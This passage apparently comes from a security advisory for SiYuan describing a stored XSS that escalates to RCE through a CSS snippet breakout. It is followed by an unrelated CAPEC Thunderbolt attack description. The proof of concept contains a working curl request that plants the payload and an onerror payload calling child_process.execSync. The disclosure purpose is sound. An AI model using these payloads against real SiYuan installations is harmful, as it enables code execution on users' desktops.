=== \"\u0026\" ? \"\u0026amp;\" : \"\u0026lt;\");\ndocument.head.insertAdjacentHTML(\"beforeend\", `\u003cstyle id=\"${id}\"\u003e${safe}\u003c/style\u003e`);\n```\n\nEither fix on its own closes the bug. Worth also rejecting `\u003c/style\u003e` on the `setSnippet` backend handler so older renderers pulling the same synced workspace stay safe.\n\n### PoC\n\nStand up SiYuan:\n\n```bash\ndocker run -d --name siyuan-poc \\\n  -v ./workspace:/siyuan/workspace \\\n  -p 16806:6806 \\\n  b3log/siyuan:latest \\\n  --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nPlant the snippet:\n\n```bash\nTOKEN=$(jq -r \u0027.api.token\u0027 workspace/conf/conf.json)\n\ncurl -X POST http://localhost:16806/api/snippet/setSnippet \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -d \u0027{\"snippets\":[{\"id\":\"\",\"name\":\"poc\",\"type\":\"css\",\"enabled\":true,\"content\":\"\u003c/style\u003e\u003cimg src=x onerror=\\\"document.title=\\\\\\\"SIYUAN_XSS\\\\\\\";window.__siyuan_xss=true\\\"\u003e\"}]}\u0027\n```\n\nReturns `{\"code\":0,\"msg\":\"\",\"data\":null}`. The snippet now sits at `workspace/data/snippets/conf.json` verbatim.\n\nOpen `http://localhost:16806/stage/build/desktop/?r=1` or the Electron app pointing at the same workspace, authenticate, and run in DevTools:\n\n```js\n({\n  markerFired: window.__siyuan_xss === true,\n  styleCount: document.querySelectorAll(\u0027style[id^=\"snippetCSS\"]\u0027).length,\n  imgsInHead: document.head.querySelectorAll(\u0027img\u0027).length,\n  snippetStyleEmpty: document.querySelector(\u0027style[id^=\"snippetCSS\"]\u0027)?.textContent.length === 0\n})\n```\n\nResult from my run on 2026-05-19 against `b3log/siyuan:latest`:\n\n```json\n{\n  \"markerFired\": true,\n  \"styleCount\": 1,\n  \"imgsInHead\": 1,\n  \"snippetStyleEmpty\": true\n}\n```\n\n`document.title` is `SIYUAN_XSS`. The `\u003cstyle\u003e` exists but closed empty on the first `\u003c/style\u003e`. The smuggled `\u003cimg\u003e` is a sibling in `\u003chead\u003e`. The injected `onerror` ran arbitrary JS.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).execSync(\u0027open /Applications/Calculator.app\u0027)\"\u003e\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a `reloadSnippet` WebSocket push. No user click required beyond having the app open.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/snippet/setSnippet`. Once the malicious snippet is in the workspace, every peer that syncs and has `enabledCSS:true` runs the payload.\n\nThe bug also silently bypasses the user\u0027s snippet-toggle intent. Someone who turned `enabledJS` off and left `enabledCSS` on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.",
  "id": "GHSA-mvjr-vv3c-w4qv",
  "modified": "2026-07-10T19:25:09Z",
  "published": "2026-07-10T19:25:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvjr-vv3c-w4qv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54067"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Stored XSS to RCE via CSS-snippet \u003cstyle\u003e breakout in renderSnippet()"
}

No mitigation information available for this CWE.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list